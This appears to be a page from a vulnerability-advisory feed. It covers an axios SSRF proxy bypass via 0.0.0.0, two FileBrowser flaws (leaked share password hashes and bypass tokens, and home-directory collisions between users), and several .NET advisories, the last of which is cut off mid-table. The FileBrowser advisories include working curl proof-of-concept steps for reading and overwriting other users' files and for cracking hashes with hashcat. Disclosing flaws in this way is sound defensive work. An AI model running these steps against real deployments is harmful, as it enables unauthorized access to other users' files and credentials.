`NO_PROXY` policy is intended to cover local destinations. Observed behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy. ## Workarounds - Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies. - Reject or normalize `0.0.0.0` in application URL validation before calling axios. - Set `proxy: false` on axios requests that must never use environment proxies. - Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.
Original Report ### Summary `axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon. ### Details ## Affected versions `>= 1.15.0, <= 1.16.1` The vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661). --- ## Root cause **File:** `lib/helpers/shouldBypassProxy.js` ```javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. ### PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected ### Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): - const LOOPBACK_HOSTNAMES = new Set(['localhost']); + const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); };
Risiko 2 / 10 CVE-2026-62684 vor 1 Stunde(n)
## Summary When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares. ## Details **1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)** ```go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed // Token is only set when PasswordHash is set; it bypasses the password. Token string `json:"token,omitempty"` // line 19, bypass token exposed } ``` `omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share. **2. The share handlers return the full struct through unfiltered `json.Marshal`** `sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client. **3. Administrators receive every user's secrets (`http/share.go:36`)** ```go s, err = d.store.Share.All() // admin path: returns ALL users' shares // ... return renderJSON(w, r, s) // including each share's password_hash and token ``` An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users. ## PoC Tested against `filebrowser/filebrowser:v2.63.15`. **Attack Vector: read the bcrypt hash and bypass token from the share API:** ```bash #1. Seed a file in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv/user1 echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090 #2. Log in as admin AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") #3. Create a password-protected share curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \ -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}' #4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token) curl -s "$B/api/shares" -H "X-Auth: $T" ``` The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password. Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15): Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`: ```http POST /api/share/user1/readme.txt -> 200 GET /api/shares -> 200 { "hash": "yy9159Cs", "path": "/user1/readme.txt", "userID": 1, "expire": 1781758642, "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla", "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..." } ``` The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password. ## Impact - **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline. - **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. - **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. - **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery. ## Recommended Fix Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side: ```go // share/share.go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"-" storm:"index"` // never serialize Token string `json:"-"` // never serialize in list responses } ``` `PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.
Risiko 7.5 / 10 CVE-2026-62685 vor 5 Tag(en)
## Summary FileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user's scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\-.` with `-`. The problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one. This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering `alice/` or `al..ice` to land in `alice`'s home) and gain full read **and** write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage. ## Details **1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)** ```go // MakeUserDir, when CreateUserDir is true: username = cleanUsername(username) // ... userScope = path.Join(s.UserHomeBasePath, username) // line 30 userScope = path.Join("/", userScope) // line 33 ``` The user's scope is `path.Join(UserHomeBasePath, cleanUsername(username))`. **2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)** ```go func cleanUsername(s string) string { s = strings.Trim(s, " ") s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".." s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-" s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-" return s } ``` Because several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name. **3. No scope-uniqueness check exists** Username uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant's home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent). ## PoC Tested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12). **Attack Vector: register a colliding username and read/overwrite another user's files:** ```bash #1. Create a dir in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090; PW='CollidePw12345!' #2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") curl -s -H "X-Auth: $AT" $B/api/settings \ | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \ | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @- #3. Register the victim teamone-x curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}" #4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x) curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}" #5. Log in as both accounts (TA = victim, TB = attacker) TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}") TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}") #6. Victim A writes a private file curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null #7. Attacker B reads A's file (both resolve to the single shared home directory) curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB" #8. Attacker B overwrites the file curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null #9. Victim A reads back the tampered content curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA" ``` Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15): ```http GET /api/raw/secretA.txt (as user B, attacker) -> 200 A-private-CONFIDENTIAL-data POST /api/resources/secretA.txt?override=true (as user B) -> 200 (empty body) GET /api/raw/secretA.txt (as user A, victim, reads back) -> 200 TAMPERED-BY-B GET /api/users (as admin, both accounts share one scope) -> 200 [ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ] ``` On disk there is a single shared home directory `/srv/users/teamone-x`. ## Impact - **Cross-user read:** an attacker registering a colliding username can read every file in a victim's home directory. - **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content. - **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value. - **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`'s directory), or collisions can occur accidentally between legitimate users. - **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`. ## Recommended Fix Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username: ```go // settings/dir.go, base the home dir on a collision-free identifier: userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10)) ``` Alternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.
Risiko 7.5 / 10 CVE-2026-47304 vor 6 Tag(en)
## Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD** ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 8.1 - **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C` - **Weakness:** CWE-347 (Improper Verification of Cryptographic Signature) ## Affected Platforms - **Platforms:** All - **Architectures:** All ## Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below ### .NET 10.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 10.0.0, <= 10.0.9 | 10.0.10 ### .NET 9.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 9.0.0, <= 9.0.17 | 9.0.18 ### .NET 8.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 8.0.0, <= 8.0.28 | 8.0.29 ## Advisory FAQ ### How do I know if I am affected? If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### How do I fix the issue? To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods: NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button. Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command: ```Update-Package -Id System.Security.Cryptography.Xml``` Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command: ```dotnet add package System.Security.Cryptography.Xml``` Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-47304]( https://www.cve.org/CVERecord?id=CVE-2026-47304) ### Acknowledgements Levi Broderick with Microsoft ### Revisions V1.0 (July 14, 2026): Advisory published.
Risiko 7.5 / 10 CVE-2026-47302 vor 6 Tag(en)
## Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML processing (System.Security.Cryptography.Xml, System.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A denial of service vulnerability exists in .NET 8, .NET 9, and .NET 10 related to XML processing. An attacker can exploit XML encryption handling in XML parsing to cause excessive resource consumption or application crash. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD** ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 7.5 - **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Weakness:** CWE-770 (Allocation of Resources Without Limits or Throttling) ## Affected Platforms - **Platforms:** All - **Architectures:** All ## Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below ### .NET 10.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 10.0.0, <= 10.0.9 | 10.0.10 ### .NET 9.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 9.0.0, <= 9.0.17 | 9.0.18 ### .NET 8.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 8.0.0, <= 8.0.28 | 8.0.29 ## Advisory FAQ ### How do I know if I am affected? If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### How do I fix the issue? To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods: NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button. Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command: ```Update-Package -Id System.Security.Cryptography.Xml``` Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command: ```dotnet add package System.Security.Cryptography.Xml``` Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-47302]( https://www.cve.org/CVERecord?id=CVE-2026-47302) ### Acknowledgements Levi Broderick with Microsoft ### Revisions V1.0 (July 14, 2026): Advisory published.
Risiko 7.5 / 10 CVE-2026-57108 vor 6 Tag(en)
## Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in the .NET runtime cryptography layer (CryptoNative_GetX509NameInfo). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A denial of service vulnerability exists in the .NET 8, .NET 9, and .NET 10 runtime when parsing X.509 certificates. A specially crafted certificate could allow an attacker to cause a denial of service. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD** ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 7.5 - **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Weakness:** CWE-843 (Access of Resource Using Incompatible Type ('Type Confusion')) ## Affected Platforms - **Platforms:** Linux, macOS - **Architectures:** All ## Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below ### .NET 10.0 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10 [Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 